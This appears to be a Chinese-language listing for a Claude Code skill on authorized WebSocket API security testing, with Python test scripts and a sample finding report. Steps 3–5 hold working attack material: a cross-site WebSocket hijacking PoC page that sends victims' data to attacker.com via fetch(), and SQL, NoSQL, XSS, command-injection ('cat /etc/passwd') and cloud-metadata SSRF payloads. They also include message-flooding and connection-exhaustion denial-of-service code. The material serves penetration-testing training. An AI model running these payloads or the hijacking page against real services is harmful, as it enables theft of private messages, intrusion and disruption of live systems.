mcpField
T
testing-websocket-api-security

testing-websocket-api-security

github.com/mukul975安全35.2k332 次安装8 周前更新
代码仓库

关于 testing-websocket-api-security

这是面向授权安全评估人员的 WebSocket API 安全测试技能,适用于实时通信接口。它涵盖连接认证、跨站劫持、消息注入和拒绝服务测试,并强调测试前须获得书面授权。

主要功能

  1. 01发现端点并分析握手
  2. 02测试连接认证与消息授权
  3. 03检查跨站 WebSocket 劫持
  4. 04测试消息载荷注入
  5. 05评估消息泛洪与拒绝服务

适用场景

  1. 01审计实时聊天应用的 WebSocket
  2. 02检查连接与消息级权限控制
  3. 03评估消息输入处理和流量限制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-websocket-api-security

安装后在 Claude Code 中输入/testing-websocket-api-security确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

WebSocket API 安全测试

适用场景

  • 评估使用 WebSocket(ws://)或安全 WebSocket(wss://)协议的实时通信 API
  • 测试跨站 WebSocket 劫持(CSWSH),即攻击者的页面连接到合法的 WebSocket 服务
  • 评估 WebSocket 连接和消息的身份验证与授权机制
  • 测试 WebSocket 消息负载的输入验证,检查是否存在注入漏洞
  • 评估 WebSocket 实现是否可能因消息泛洪或超大帧而遭受拒绝服务攻击

未经书面授权请勿使用。WebSocket 测试可能会中断实时服务,并影响其他已连接的用户。

前提条件

  • 明确指定 WebSocket 端点和测试范围的书面授权
  • 支持 WebSocket 拦截功能的 Burp Suite Professional
  • 安装了 websockets 和 asyncio 库的 Python 3.10+
  • 用于观察 WebSocket 握手和帧的浏览器开发者工具
  • 用于手动交互 WebSocket 的 wscat CLI 工具:npm install -g wscat
  • 了解所使用的 WebSocket 子协议(JSON-RPC、STOMP、自定义协议)

工作流

步骤 1:WebSocket 端点发现和握手分析
import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# Capture and analyze the WebSocket handshake
async def analyze_handshake():
    """Analyze WebSocket upgrade request and response headers."""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"Connected to: {WS_URL}")
            print(f"Protocol: {ws.subprotocol}")
            print(f"Extensions: {ws.extensions}")

            # Send a test message
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"Server response: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"Connection rejected: {e.status_code}")
        return False
    except Exception as e:
        print(f"Connection error: {e}")
        return False

asyncio.run(analyze_handshake())
步骤 2:身份验证和授权测试
async def test_ws_authentication():
    """Test if WebSocket requires authentication."""
    results = []

    # Test 1: Connect without any authentication
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "No authentication",
                "status": "VULNERABLE",
                "response": resp[:200]
            })
            print(f"[VULN] WebSocket accessible without authentication")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "No authentication", "status": "SECURE"})
    except Exception as e:
        results.append({"test": "No authentication", "status": f"ERROR: {e}"})

    # Test 2: Connect with invalid token
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "Invalid token",
                "status": "VULNERABLE",
                "response": resp[:200]
            })
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "Invalid token", "status": "SECURE"})
    except Exception as e:
        results.append({"test": "Invalid token", "status": f"ERROR: {e}"})

    # Test 3: Connect with expired token
    expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired"
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": expired_token}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({"test": "Expired token", "status": "VULNERABLE"})
    except (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({"test": "Expired token", "status": "SECURE"})

    # Test 4: Token in query parameter (leakage risk)
    try:
        async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws:
            await ws.send(json.dumps({"type": "ping"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "Token in URL",
                "status": "INFO - Token accepted in query parameter (may leak in logs)"
            })
    except Exception:
        results.append({"test": "Token in URL", "status": "REJECTED"})

    for r in results:
        print(f"  [{r['status'][:10]}] {r['test']}")

    return results

asyncio.run(test_ws_authentication())
步骤 3:跨站 WebSocket 劫持(CSWSH)测试
async def test_cswsh():
    """Test for Cross-Site WebSocket Hijacking vulnerability."""
    # CSWSH occurs when the WebSocket server does not validate the Origin header
    # An attacker's website can connect to the legitimate WebSocket and steal data

    origins_to_test = [
        None,                                    # No Origin header
        "https://evil.com",                      # Attacker domain
        "https://target-api.example.com.evil.com",  # Subdomain confusion
        "null",                                  # Null origin (sandboxed iframe)
        "https://target-api.example.com",        # Legitimate origin
        "http://target-api.example.com",         # HTTP downgrade
    ]

    print("=== CSWSH Testing ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # Try to receive data that should be restricted
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)")
                else:
                    print(f"[OK] Origin '{origin}' -> Accepted (legitimate)")
        except websockets.exceptions.InvalidStatusCode as e:
            print(f"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})")
        except Exception as e:
            print(f"[ERROR] Origin '{origin}' -> {e}")

asyncio.run(test_cswsh())

# PoC HTML page for CSWSH exploitation
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// This page, hosted on attacker.com, connects to the target WebSocket
// If the server doesn't validate Origin, the victim's browser will
// send cookies/credentials and the attacker receives the data

var ws = new WebSocket("wss://target-api.example.com/ws");

ws.onopen = function() {
    console.log("Connected to target WebSocket");
    ws.send(JSON.stringify({type: "get_messages"}));
    ws.send(JSON.stringify({type: "get_user_data"}));
};

ws.onmessage = function(event) {
    console.log("Stolen data:", event.data);
    // Exfiltrate to attacker server
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: event.data
    });
};
</script>
<p>Loading... (CSWSH attack in progress)</p>
</body>
</html>
"""
步骤 4:WebSocket 消息注入测试
async def test_ws_injection():
    """Test WebSocket messages for injection vulnerabilities."""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", "input": "test | id"},
        ],
        "ssrf": [
            {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
            {"type": "webhook", "callback": "http://localhost:6379/"},
        ],
        "overflow": [
            {"type": "send_message", "content": "A" * 100000},
            {"type": "search", "query": "B" * 1000000},
        ],
    }

    async with websockets.connect(WS_URL,
        extra_headers={"Authorization": AUTH_TOKEN}) as ws:

        for category, payloads in INJECTION_PAYLOADS.items():
            for payload in payloads:
                try:
                    await ws.send(json.dumps(payload))
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)

                    # Analyze response for injection indicators
                    resp_lower = resp.lower()
                    indicators = []
                    if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
                        indicators.append("SQL error")
                    if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
                        indicators.append("Command output")
                    if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
                        indicators.append("SSRF data")
                    if "script" in resp_lower and "xss" not in category:
                        indicators.append("Reflected XSS")

                    if indicators:
                        print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
                    elif len(resp) > 10000:
                        print(f"[OVERFLOW] Large response: {len(resp)} bytes")
                except asyncio.TimeoutError:
                    pass
                except websockets.exceptions.ConnectionClosed:
                    print(f"[CRASH] Connection closed after {category} payload")
                    # Reconnect
                    break

asyncio.run(test_ws_injection())
步骤 5:拒绝服务测试
async def test_ws_dos():
    """Test WebSocket for DoS vulnerabilities."""
    print("=== WebSocket DoS Testing ===\n")

    # Test 1: Message flooding
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  Flood test: {count} messages in {elapsed:.1f}s ({count/elapsed:.0f} msg/s)")

    await flood_test()

    # Test 2: Large message
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            max_size=20*1024*1024) as ws:
            for size in sizes:
                try:
                    large_msg = json.dumps({"type": "data", "payload": "A" * size})
                    await ws.send(large_msg)
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    print(f"  Large message ({size} bytes): Accepted")
                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
                    print(f"  Large message ({size} bytes): Rejected/Disconnected")
                    break

    await large_message_test()

    # Test 3: Connection exhaustion
    async def connection_exhaustion():
        connections = []
        for i in range(100):
            try:
                ws = await websockets.connect(WS_URL,
                    extra_headers={"Authorization": AUTH_TOKEN})
                connections.append(ws)
            except Exception:
                break
        print(f"  Connection exhaustion: {len(connections)} concurrent connections established")
        for ws in connections:
            await ws.close()

    await connection_exhaustion()

asyncio.run(test_ws_dos())

核心概念

术语定义
WebSocket通过单个 TCP 连接进行全双工通信的协议,通过 HTTP 升级握手建立
CSWSH跨站 WebSocket 劫持:恶意网站利用受害者浏览器凭据,向合法服务发起 WebSocket 连接的攻击
来源验证服务端在 WebSocket 握手期间检查 Origin 标头,通过拒绝来自未授权域的连接来防止 CSWSH
WebSocket 帧WebSocket 通信中的基本数据单位,包含操作码、掩码、负载长度和负载数据
升级握手包含 Upgrade: websocket 和 Connection: Upgrade 标头、用于建立 WebSocket 连接的 HTTP 请求
消息泛洪发送大量 WebSocket 消息,以耗尽服务端资源(内存、CPU、带宽)

工具和系统

  • Burp Suite Professional:拦截 WebSocket 握手和消息,并支持修改和重放消息
  • OWASP ZAP:支持消息模糊测试、拦截和断点功能的 WebSocket 测试工具
  • wscat:用于手动测试的命令行 WebSocket 客户端:wscat -c wss://target.com/ws -H "Authorization: Bearer token"
  • websocat:高级 CLI WebSocket 工具,支持代理、广播和脚本功能
  • Autobahn TestSuite:全面的 WebSocket 协议合规性与安全测试框架

常见场景

场景:聊天应用 WebSocket 安全评估

背景:一款消息应用使用 WebSocket 实现实时聊天。WebSocket 端点负责消息传递、输入状态提示、已读回执和用户在线状态。身份验证基于 Cookie。

方法:

  1. 分析 WebSocket 握手:通过会话 Cookie 身份验证,在 wss://chat.example.com/ws 建立连接
  2. 测试 CSWSH:WebSocket 服务未验证 Origin 标头,攻击者的页面可以连接并接收受害者的消息
  3. 测试身份验证:即使会话 Cookie 已过期,WebSocket 仍接受连接(仅在握手时验证会话,不会验证后续消息)
  4. 测试授权:用户 A 可以通过伪造频道 ID,向自己未加入的私密频道发送消息
  5. 测试注入:消息内容未经清理便被存储;消息正文中的 XSS 载荷会在其他用户的浏览器中执行
  6. 测试消息泛洪:服务每秒接受 5000 条消息,且没有速率限制,导致 CPU 使用率骤升
  7. 发现 WebSocket 消息包含发送者的内部用户 ID、电子邮件地址和 IP 地址(信息泄露)

注意事项:

  • 未测试 CSWSH,因为应用使用基于令牌的身份验证(Cookie 会自动随 WebSocket 请求发送)
  • 只测试初始握手身份验证,未验证后续消息的授权情况
  • 因载荷位于 JSON WebSocket 帧中,而非 HTTP 参数中,遗漏了注入漏洞
  • 未测试重新连接行为(服务器是否会在重新连接时重新验证身份?)
  • 忽略了 WebSocket 连接可能绕过 HTTP 层的速率限制和 WAF 规则

输出格式

## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft

**ID**: API-WS-001
**Severity**: High (CVSS 8.1)
**Affected Endpoint**: wss://chat.example.com/ws

**Description**:
The WebSocket server does not validate the Origin header during the
handshake. An attacker can host a malicious web page that opens a
WebSocket connection to the chat server using the victim's session
cookie. All messages, typing indicators, and presence data are
forwarded to the attacker in real time.

**Proof of Concept**:
Host the CSWSH PoC page on attacker.com. When a logged-in user
visits the page, the JavaScript establishes a WebSocket connection
to the chat server. The server authenticates the connection using
the victim's cookie and delivers all real-time chat data to the
attacker's connection.

**Impact**:
Real-time interception of all private messages, presence data,
and typing indicators for any user who visits the attacker's page.

**Remediation**:
1. Validate the Origin header against an allowlist of legitimate domains
2. Implement CSRF tokens in the WebSocket handshake URL
3. Use token-based authentication (Authorization header) instead of cookies for WebSocket
4. Implement per-message authorization checks, not just connection-level authentication
5. Add rate limiting on WebSocket message volume per connection

评论

支持 Markdown